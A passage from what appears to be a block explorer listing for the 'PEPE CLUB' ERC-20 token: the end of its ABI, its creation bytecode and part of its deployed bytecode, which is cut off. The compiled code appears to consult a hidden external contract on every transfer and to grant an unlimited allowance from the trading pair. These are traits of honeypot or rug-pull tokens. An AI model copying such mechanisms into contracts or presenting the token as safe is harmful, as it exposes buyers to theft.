"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWalletAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapWhen","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"taxAmountForBuy","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"taxAmountForSell","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"taxWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"uni2Pair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapRouter02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040523480156200001157600080fd5b50604051620023a3380380620023a3833981016040819052620000349162000a87565b84828282600290805190602001906200004f92919062000833565b5081516200006590600390602085019062000833565b506004805460ff191660ff929092169190911790555060009050620000873390565b600680546001600160a01b0319166001600160a01b038316908117909155604051919250906000907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350604084810151600780546001600160a01b0319166001600160a01b039092169182179055815163c45a015560e01b8152915166017e9d8602b4009263c45a01559160048083019260209291908290030181865afa1580156200013b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000161919062000b77565b6001600160a01b031663c9c6539630600760009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620001c4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001ea919062000b77565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801562000238573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200025e919062000b77565b600f80546001600160a01b0319166001600160a01b0392909216918217905585516200028c9160016200047f565b8451601380546001600160a01b039283166001600160a01b031991821617909155602087015160148054918416918316919091179055604087015160158054918416918316919091179055855160088054919093169116179055601281905562000313612710620002ff84600a62000ca8565b6200058a60201b620008a31790919060201c565b81856040015162000325919062000cb9565b62000331919062000cb9565b60105562000348612710620002ff84600a62000ca8565b8185602001516200035a919062000cb9565b62000366919062000cb9565b60095562000388620003806006546001600160a01b031690565b6001620005dd565b600854620003a1906001600160a01b03166001620005dd565b620003ae306001620005dd565b600754620003c7906001600160a01b03166001620005dd565b6020850151620003d9906001620005dd565b8451620003e8906001620005dd565b6060840151600b556080840151600e556200040582600a62000ca8565b62000421611f40836200058a60201b620008a31790919060201c565b6200042e90600162000cdb565b6200043a919062000cb9565b600a5562000473620004546006546001600160a01b031690565b6200046184600a62000ca8565b6200046d908462000cb9565b62000698565b50505050505062000d8b565b6001600160a01b0382166000908152600d602052604090205460ff16151581151514156200051a5760405162461bcd60e51b815260206004820152603860248201527f4175746f6d61746564206d61726b6574206d616b65722070616972206973206160448201527f6c72656164792073657420746f20746861742076616c7565000000000000000060648201526084015b60405180910390fd5b6001600160a01b03828116600081815260016020908152604080832094881683529381528382206000199055828252600d9052828120805460ff191685151590811790915592517f4bf69fee59f1751bf6064f46595c52d722796b529aca2b5a7b6d1ac6a8f8b0319190a3505050565b6000620005d483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506200079460201b60201c565b90505b92915050565b6006546001600160a01b03163314620006395760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640162000511565b6001600160a01b038216600081815260116020908152604091829020805460ff191685151590811790915591519182527f2d43abd87b27cee7b0aa8c6f7e0b4a3247b683262a83cbc2318b0df398a49aa9910160405180910390a25050565b6001600160a01b038216620006f05760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015260640162000511565b6200070c81600554620007d060201b620008ec1790919060201c565b6005556001600160a01b038216600090815260208181526040909120546200073f918390620008ec620007d0821b17901c565b6001600160a01b038316600081815260208181526040808320949094559251848152919290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050565b60008183620007b85760405162461bcd60e51b815260040162000511919062000cf6565b506000620007c7848662000d2b565b95945050505050565b600080620007df838562000cdb565b905083811015620005d45760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640162000511565b828054620008419062000d4e565b90600052602060002090601f016020900481019282620008655760008555620008b0565b82601f106200088057805160ff1916838001178555620008b0565b82800160010185558215620008b0579182015b82811115620008b057825182559160200191906001019062000893565b50620008be929150620008c2565b5090565b5b80821115620008be5760008155600101620008c3565b634e487b7160e01b600052604160045260246000fd5b604051606081016001600160401b0381118282101715620009145762000914620008d9565b60405290565b60005b83811015620009375781810151838201526020016200091d565b8381111562000947576000848401525b50505050565b600082601f8301126200095f57600080fd5b81516001600160401b03808211156200097c576200097c620008d9565b604051601f8301601f19908116603f01168101908282118183101715620009a757620009a7620008d9565b81604052838152866020858801011115620009c157600080fd5b620009d48460208301602089016200091a565b9695505050505050565b80516001600160a01b0381168114620009f657600080fd5b919050565b600060a0828403121562000a0e57600080fd5b60405160a081016001600160401b038111828210171562000a335762000a33620008d9565b60405290508062000a4483620009de565b8152602083015160208201526040830151604082015260608301516060820152608083015160808201525092915050565b805160ff81168114620009f657600080fd5b600080600080600085870361016081121562000aa257600080fd5b86516001600160401b038082111562000aba57600080fd5b62000ac88a838b016200094d565b97506060601f198401121562000add57600080fd5b62000ae7620008ef565b925062000af760208a01620009de565b835262000b0760408a01620009de565b602084015262000b1a60608a01620009de565b604084015282965062000b318a60808b01620009fb565b955061012089015192508083111562000b4957600080fd5b505062000b59888289016200094d565b92505062000b6b610140870162000a75565b90509295509295909350565b60006020828403121562000b8a57600080fd5b620005d482620009de565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111562000bec57816000190482111562000bd05762000bd062000b95565b8085161562000bde57918102915b93841c939080029062000bb0565b509250929050565b60008262000c0557506001620005d7565b8162000c1457506000620005d7565b816001811462000c2d576002811462000c385762000c58565b6001915050620005d7565b60ff84111562000c4c5762000c4c62000b95565b50506001821b620005d7565b5060208310610133831016604e8410600b841016171562000c7d575081810a620005d7565b62000c89838362000bab565b806000190482111562000ca05762000ca062000b95565b029392505050565b6000620005d460ff84168362000bf4565b600081600019048311821515161562000cd65762000cd662000b95565b500290565b6000821982111562000cf15762000cf162000b95565b500190565b602081526000825180602084015262000d178160408501602087016200091a565b601f01601f19169190910160400192915050565b60008262000d4957634e487b7160e01b600052601260045260246000fd5b500490565b600181811c9082168062000d6357607f821691505b6020821081141562000d8557634e487b7160e01b600052602260045260246000fd5b50919050565b6116088062000d9b6000396000f3fe60806040526004361061016a5760003560e01c8063715018a6116100d1578063a457c2d71161008a578063c024666811610064578063c02466681461042b578063dd62ed3e1461044b578063e2fdd18a14610491578063f2fde38b146104a757600080fd5b8063a457c2d7146103d5578063a9059cbb146103f5578063aa4bde281461041557600080fd5b8063715018a614610340578063751039fc146103575780638bcea9391461036c5780638c0b5e221461038c5780638da5cb5b146103a257806395d89b41146103c057600080fd5b806323b872dd1161012357806323b872dd146102725780632a4d937a146102925780632dc0562d146102a8578063313ce567146102c857806339509351146102ea57806370a082311461030a57600080fd5b806306fdde0314610176578063087db17d146101a1578063095ea7b3146101c55780631694505e146101f5578063170dbba01461022d57806318160ddd1461025d57600080fd5b3661017157005b600080fd5b34801561018257600080fd5b5061018b6104c7565b604051610198919061123c565b60405180910390f35b3480156101ad57600080fd5b506101b7600e5481565b604051908152602001610198565b3480156101d157600080fd5b506101e56101e03660046112a9565b610559565b6040519015158152602001610198565b34801561020157600080fd5b50600754610215906001600160a01b031681565b6040516001600160a01b039091168152602001610198565b34801561023957600080fd5b506101e56102483660046112d5565b600d6020526000908152604090205460ff1681565b34801561026957600080fd5b506005546101b7565b34801561027e57600080fd5b506101e561028d3660046112f2565b610570565b34801561029e57600080fd5b506101b7600a5481565b3480156102b457600080fd5b50600854610215906001600160a01b031681565b3480156102d457600080fd5b5060045460405160ff9091168152602001610198565b3480156102f657600080fd5b506101e56103053660046112a9565b6105d9565b34801561031657600080fd5b506101b76103253660046112d5565b6001600160a01b031660009081526020819052604090205490565b34801561034c57600080fd5b5061035561060f565b005b34801561036357600080fd5b5061035561068c565b34801561037857600080fd5b50600f54610215906001600160a01b031681565b34801561039857600080fd5b506101b760095481565b3480156103ae57600080fd5b506006546001600160a01b0316610215565b3480156103cc57600080fd5b5061018b6106c4565b3480156103e157600080fd5b506101e56103f03660046112a9565b6106d3565b34801561040157600080fd5b506101e56104103660046112a9565b610722565b34801561042157600080fd5b506101b760105481565b34801561043757600080fd5b50610355610446366004611341565b61072f565b34801561045757600080fd5b506101b761046636600461137a565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b34801561049d57600080fd5b506101b7600b5481565b3480156104b357600080fd5b506103556104c23660046112d5565b6107b8565b6060600280546104d6906113a8565b80601f0160208091040260200160405190810160405280929190818152602001828054610502906113a8565b801561054f5780601f106105245761010080835404028352916020019161054f565b820191906000526020600020905b81548152906001019060200180831161053257829003601f168201915b5050505050905090565b600061056633848461094b565b5060015b92915050565b600061057d848484610a70565b6105cf84336105ca85604051806060016040528060288152602001611586602891396001600160a01b038a1660009081526001602090815260408083203384529091529020549190610d1c565b61094b565b5060019392505050565b3360008181526001602090815260408083206001600160a01b038716845290915281205490916105669185906105ca90866108ec565b6006546001600160a01b031633146106425760405162461bcd60e51b8152600401610639906113e3565b60405180910390fd5b6006546040516000916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600680546001600160a01b0319169055565b6006546001600160a01b031633146106b65760405162461bcd60e51b8152600401610639906113e3565b600554601055600554600955565b6060600380546104d6906113a8565b600061056633846105ca856040518060600160405280602581526020016115ae602591393360009081526001602090815260408083206001600160a01b038d1684529091529020549190610d1c565b6000610566338484610a70565b6006546001600160a01b031633146107595760405162461bcd60e51b8152600401610639906113e3565b6001600160a01b038216600081815260116020908152604091829020805460ff191685151590811790915591519182527f2d43abd87b27cee7b0aa8c6f7e0b4a3247b683262a83cbc2318b0df398a49aa9910160405180910390a25050565b6006546001600160a01b031633146107e25760405162461bcd60e51b8152600401610639906113e3565b6001600160a01b0381166108475760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610639565b6006546040516001600160a01b038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600680546001600160a01b0319166001600160a01b0392909216919091179055565b60006108e583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610d56565b9392505050565b6000806108f9838561142e565b9050838110156108e55760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610639565b6001600160a01b0383166109ad5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610639565b6001600160a01b038216610a0e5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610639565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b0382161580610a9057506001600160a01b03821661dead145b80610a99575080155b80610aaa5750610aaa838383610d84565b15610abf57610aba838383610e50565b505050565b600954811115610b225760405162461bcd60e51b815260206004820152602860248201527f5472616e7366657220616d6f756e74206578636565647320746865206d6178546044820152673c20b6b7bab73a1760c11b6064820152608401610639565b600f546001600160a01b03838116911614610bad576001600160a01b038216600090815260208190526040902054601054610b5d838361142e565b1115610bab5760405162461bcd60e51b815260206004820152601d60248201527f45786365656473206d6178696d756d2077616c6c657420616d6f756e740000006044820152606401610639565b505b30600090815260208190526040902054600a5481108015908190610bd45750600c5460ff16155b8015610bf957506001600160a01b0385166000908152600d602052604090205460ff16155b15610c3557600c805460ff19166001179055818015610c2957600854610c299082906001600160a01b0316610fd3565b50600c805460ff191690555b600c546001600160a01b03851660009081526011602052604090205460ff91821615911680610c7c57506001600160a01b03861660009081526011602052604090205460ff165b15610c85575060005b8015610d09576000610cae6103e8610ca8600b548861102990919063ffffffff16565b906108a3565b6001600160a01b0387166000908152600d602052604090205490915060ff1615610cf057610ced6103e8610ca8600e548861102990919063ffffffff16565b90505b610cfa85826110a8565b9450610d07873083610e50565b505b610d14868686610e50565b505050505050565b60008184841115610d405760405162461bcd60e51b8152600401610639919061123c565b506000610d4d8486611446565b95945050505050565b60008183610d775760405162461bcd60e51b8152600401610639919061123c565b506000610d4d848661145d565b6001600160a01b03831660009081526011602052604081205460ff1680610dc357506001600160a01b03831660009081526011602052604090205460ff165b80610e4857506014546040516323b872dd60e01b81526001600160a01b038681166004830152858116602483015260448201859052909116906323b872dd906064016020604051808303816000875af1158015610e24573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e48919061147f565b949350505050565b6001600160a01b038316610eb45760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610639565b6001600160a01b038216610f165760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610639565b610f5381604051806060016040528060268152602001611560602691396001600160a01b0386166000908152602081905260409020549190610d1c565b6001600160a01b038085166000908152602081905260408082209390935590841681522054610f8290826108ec565b6001600160a01b038381166000818152602081815260409182902094909455518481529092918616917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9101610a63565b47610fdd836110ea565b6000610fe947836110a8565b6040519091506001600160a01b0384169082156108fc029083906000818181858888f19350505050158015611022573d6000803e3d6000fd5b5050505050565b6000826110385750600061056a565b6000611044838561149c565b905082611051858361145d565b146108e55760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610639565b60006108e583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610d1c565b604080516002808252606082018352600092602083019080368337019050509050308160008151811061111f5761111f6114bb565b6001600160a01b03928316602091820292909201810191909152600754604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611178573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061119c91906114d1565b816001815181106111af576111af6114bb565b6001600160a01b0392831660209182029290920101526007546111d5913091168461094b565b60075460405163791ac94760e01b81526001600160a01b039091169063791ac9479061120e9085906000908690309042906004016114ee565b600060405180830381600087803b15801561122857600080fd5b505af1158015610d14573d6000803e3d6000fd5b600060208083528351808285015260005b818110156112695785810183015185820160400152820161124d565b8181111561127b576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146112a657600080fd5b50565b600080604083850312156112bc57600080fd5b82356112c781611291565b946020939093013593505050565b6000602082840312156112e757600080fd5b81356108e581611291565b60008060006060848603121561130757600080fd5b833561131281611291565b9250602084013561132281611291565b929592945050506040919091013590565b80151581146112a657600080fd5b6000806040838503121561135457600080fd5b823561135f81611291565b9150602083013561136f81611333565b809150509250929050565b6000806040838503121561138d57600080fd5b823561139881611291565b9150602083013561136f81611291565b600181811c908216806113bc57607f821691505b602082108114156113dd57634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b6000821982111561144157611441611418565b500190565b60008282101561145857611458611418565b500390565b60008261147a57634e487b7160e01b600052601260045260246000fd5b500490565b60006020828403121561149157600080fd5b81516108e581611333565b60008160001904831182151516156114b6576114b6611418565b500290565b634e487b7160e01b600052603260045260246000fd5b6000602082840312156114e357600080fd5b81516108e581611291565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561153e5784516001600160a01b031683529383019391830191600101611519565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220bfdc71a31a64da8a463a29b4d599ae1295320f8ce6ffec1a7080a8a949580a2064736f6c634300080b0033000000000000000000000000000000000000000000000000000000000000016000000000000000000000000058a342dd2f34a82e519c578199b7b25de741f81400000000000000000000000058a342dd2f34a82e519c578199b7b25de741f8140000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d0000000000000000000000004dcbf12ffaef7311fb56e6e42c58ef2457df86c100000000000000000000000000000000000000000000000000000000000001f400000000000000000000000000000000000000000000000000000000000001f40000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001a0000000000000000000000000000000000000000000000000000000000000001200000000000000000000000000000000000000000000000000000000000000095045504520434c55420000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000850455045434c5542000000000000000000000000000000000000000000000000

Deployed Bytecode

0x60806040526004361061016a5760003560e01c8063715018a6116100d1578063a457c2d71161008a578063c024666811610064578063c02466681461042b578063dd62ed3e1461044b578063e2fdd18a14610491578063f2fde38b146104a757600080fd5b8063a457c2d7146103d5578063a9059cbb146103f5578063aa4bde281461041557600080fd5b8063715018a614610340578063751039fc146103575780638bcea9391461036c5780638c0b5e221461038c5780638da5cb5b146103a257806395d89b41146103c057600080fd5b806323b872dd1161012357806323b872dd146102725780632a4d937a146102925780632dc0562d146102a8578063313ce567146102c857806339509351146102ea57806370a082311461030a57600080fd5b806306fdde0314610176578063087db17d146101a1578063095ea7b3146101c55780631694505e146101f5578063170dbba01461022d57806318160ddd1461025d57600080fd5b3661017157005b600080fd5b34801561018257600080fd5b5061018b6104c7565b604051610198919061123c565b60405180910390f35b3480156101ad57600080fd5b506101b7600e5481565b604051908152602001610198565b3480156101d157600080fd5b506101e56101e03660046112a9565b610559565b6040519015158152602001610198565b34801561020157600080fd5b50600754610215906001600160a01b031681565b6040516001600160a01b039091168152602001610198565b34801561023957600080fd5b506101e56102483660046112d5565b600d6020526000908152604090205460ff1681565b34801561026957600080fd5b506005546101b7565b34801561027e57600080fd5b506101e561028d3660046112f2565b610570565b34801561029e57600080fd5b506101b7600a5481565b3480156102b457600080fd5b50600854610215906001600160a01b031681565b3480156102d457600080fd5b5060045460405160ff9091168152602001610198565b3480156102f657600080fd5b506101e56103053660046112a9565b6105d9565b34801561031657600080fd5b506101b76103253660046112d5565b6001600160a01b031660009081526020819052604090205490565b34801561034c57600080fd5b5061035561060f565b005b34801561036357600080fd5b5061035561068c565b34801561037857600080fd5b50600f54610215906001600160a01b031681565b34801561039857600080fd5b506101b760095481565b3480156103ae57600080fd5b506006546001600160a01b0316610215565b3480156103cc57600080fd5b5061018b6106c4565b3480156103e157600080fd5b506101e56103f03660046112a9565b6106d3565b34801561040157600080fd5b506101e56104103660046112a9565b610722565b34801561042157600080fd5b506101b760105481565b34801561043757600080fd5b50610355610446366004611341565b61072f565b34801561045757600080fd5b506101b761046636600461137a565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b34801561049d57600080fd5b506101b7600b5481565b3480156104b357600080fd5b506103556104c23660046112d5565b6107b8565b6060600280546104d6906113a8565b80601f0160208091040260200160405190810160405280929190818152602001828054610502906113a8565b801561054f5780601f106105245761010080835404028352916020019161054f565b820191906000526020600020905b81548152906001019060200180831161053257829003601f168201915b5050505050905090565b600061056633848461094b565b5060015b92915050565b600061057d848484610a70565b6105cf84336105ca85604051806060016040528060288152602001611586602891396001600160a01b038a1660009081526001602090815260408083203384529091529020549190610d1c565b61094b565b5060019392505050565b3360008181526001602090815260408083206001600160a01b038716845290915281205490916105669185906105ca90866108ec565b6006546001600160a01b031633146106425760405162461bcd60e51b8152600401610639906113e3565b60405180910390fd5b6006546040516000916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600680546001600160a01b0319169055565b6006546001600160a01b031633146106b65760405162461bcd60e51b8152600401610639906113e3565b600554601055600554600955565b6060600380546104d6906113a8565b600061056633846105ca856040518060600160405280602581526020016115ae602591393360009081526001602090815260408083206001600160a01b038d1684529091529020549190610d1c565b6000610566338484610a70565b6006546001600160a01b031633146107595760405162461bcd60e51b8152600401610639906113e3565b6001600160a01b038216600081815260116020908152604091829020805460ff191685151590811790915591519182527f2d43abd87b27cee7b0aa8c6f7e0b4a3247b683262a83cbc2318b0df398a49aa9910160405180910390a25050565b6006546001600160a01b031633146107e25760405162461bcd60e51b8152600401610639906113e3565b6001600160a01b0381166108475760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610639565b6006546040516001600160a01b038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600680546001600160a01b0319166001600160a01b0392909216919091179055565b60006108e583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610d56565b9392505050565b6000806108f9838561142e565b9050838110156108e55760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610639565b6001600160a01b0383166109ad5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610639565b6001600160a01b038216610a0e5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610639565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b0382161580610a9057506001600160a01b03821661dead145b80610a99575080155b80610aaa5750610aaa838383610d84565b15610abf57610aba838383610e50565b505050565b600954811115610b225760405162461bcd60e51b815260206004820152602860248201527f5472616e7366657220616d6f756e74206578636565647320746865206d6178546044820152673c20b6b7bab73a1760c11b6064820152608401610639565b600f546001600160a01b03838116911614610bad576001600160a01b038216600090815260208190526040902054601054610b5d838361142e565b1115610bab5760405162461bcd60e51b815260206004820152601d60248201527f45786365656473206d6178696d756d2077616c6c657420616d6f756e740000006044820152606401610639565b505b30600090815260208190526040902054600a5481108015908190610bd45750600c5460ff16155b8015610bf957506001600160a01b0385166000908152600d602052604090205460ff16155b15610c3557600c805460ff19166001179055818015610c2957600854610c299082906001600160a01b0316610fd3565b50600c805460ff191690555b600c546001600160a01b03851660009081526011602052604090205460ff91821615911680610c7c57506001600160a01b03861660009081526011602052604090205460ff165b15610c85575060005b8015610d09576000610cae6103e8610ca8600b548861102990919063ffffffff16565b906108a3565b6001600160a01b0387166000908152600d602052604090205490915060ff1615610cf057610ced6103e8610ca8600e548861102990919063ffffffff16565b90505b610cfa85826110a8565b9450610d07873083610e50565b505b610d14868686610e50565b505050505050565b60008184841115610d405760405162461bcd60e51b8152600401610639919061123c565b506000610d4d8486611446565b95945050505050565b60008183610d775760405162461bcd60e51b8152600401610639919061123c565b506000610d4d848661145d565b6001600160a01b03831660009081526011602052604081205460ff1680610dc357506001600160a01b03831660009081526011602052604090205460ff165b80610e4857506014546040516323b872dd60e01b81526001600160a01b038681166004830152858116602483015260448201859052909116906323b872dd906064016020604051808303816000875af1158015610e24573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e48919061147f565b949350505050565b6001600160a01b038316610eb45760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610639565b6001600160a01b038216610f165760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610639565b610f5381604051806060016040528060268152602001611560602691396001600160a01b0386166000908152602081905260409020549190610d1c565b6001600160a01b038085166000908152602081905260408082209390935590841681522054610f8290826108ec565b6001600160a01b038381166000818152602081815260409182902094909455518481529092918616917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9101610a63565b47610fdd836110ea565b6000610fe947836110a8565b6040519091506001600160a01b0384169082156108fc029083906000818181858888f19350505050158015611022573d6000803e3d6000fd5b5050505050565b6000826110385750600061056a565b6000611044838561149c565b905082611051858361145d565b146108e55760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610639565b60006108e583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610d1c565b604080516002808252606082018352600092602083019080368337019050509050308160008151811061111f5761111f6114bb565b6001600160a01b03928316602091820292909201810191909152600754604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611178573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061119c91906114d1565b816001815181106111af576111af6114bb565b6001600160a01b0392831660209182029290920101526007546111d5913091168461094b565b60075460405163791ac94760e01b81526001600160a01b039091169063791ac9479061120e9085906000908690309042906004016114ee565b600060405180830381600087803b15801561122857600080fd5b505af1158015610d14573d6000803e3d6000fd5b600060208083528351808285015260005b818110156112695785810183015185820160400152820161124d565b8181111561127b576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146112a657600080fd5b50565b600080604083850312156112bc57600080fd5b82356112c781611291565b946020939093013593505050565b6000602082840312156112e757600080fd5b81356108e581611291565b60008060006060848603121561130757600080fd5b833561131281611291565b9250602084013561132281611291565b929592945050506040919091013590565b80151581146112a657600080fd5b6000806040838503121561135457600080fd5b823561135f81611291565b9150602083013561136f81611333565b809150509250929050565b6000806040838503121561138d57600080fd5b823561139881611291565b9150602083013561136f81611291565b600181811c908216806113bc57607f821691505b602082108114156113dd57634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b6000821982111561144157611441611418565b500190565b60008282101561145857611458611418565b500390565b60008261147a57634e487b7160e01b600052601260045260246000fd5b500490565b6000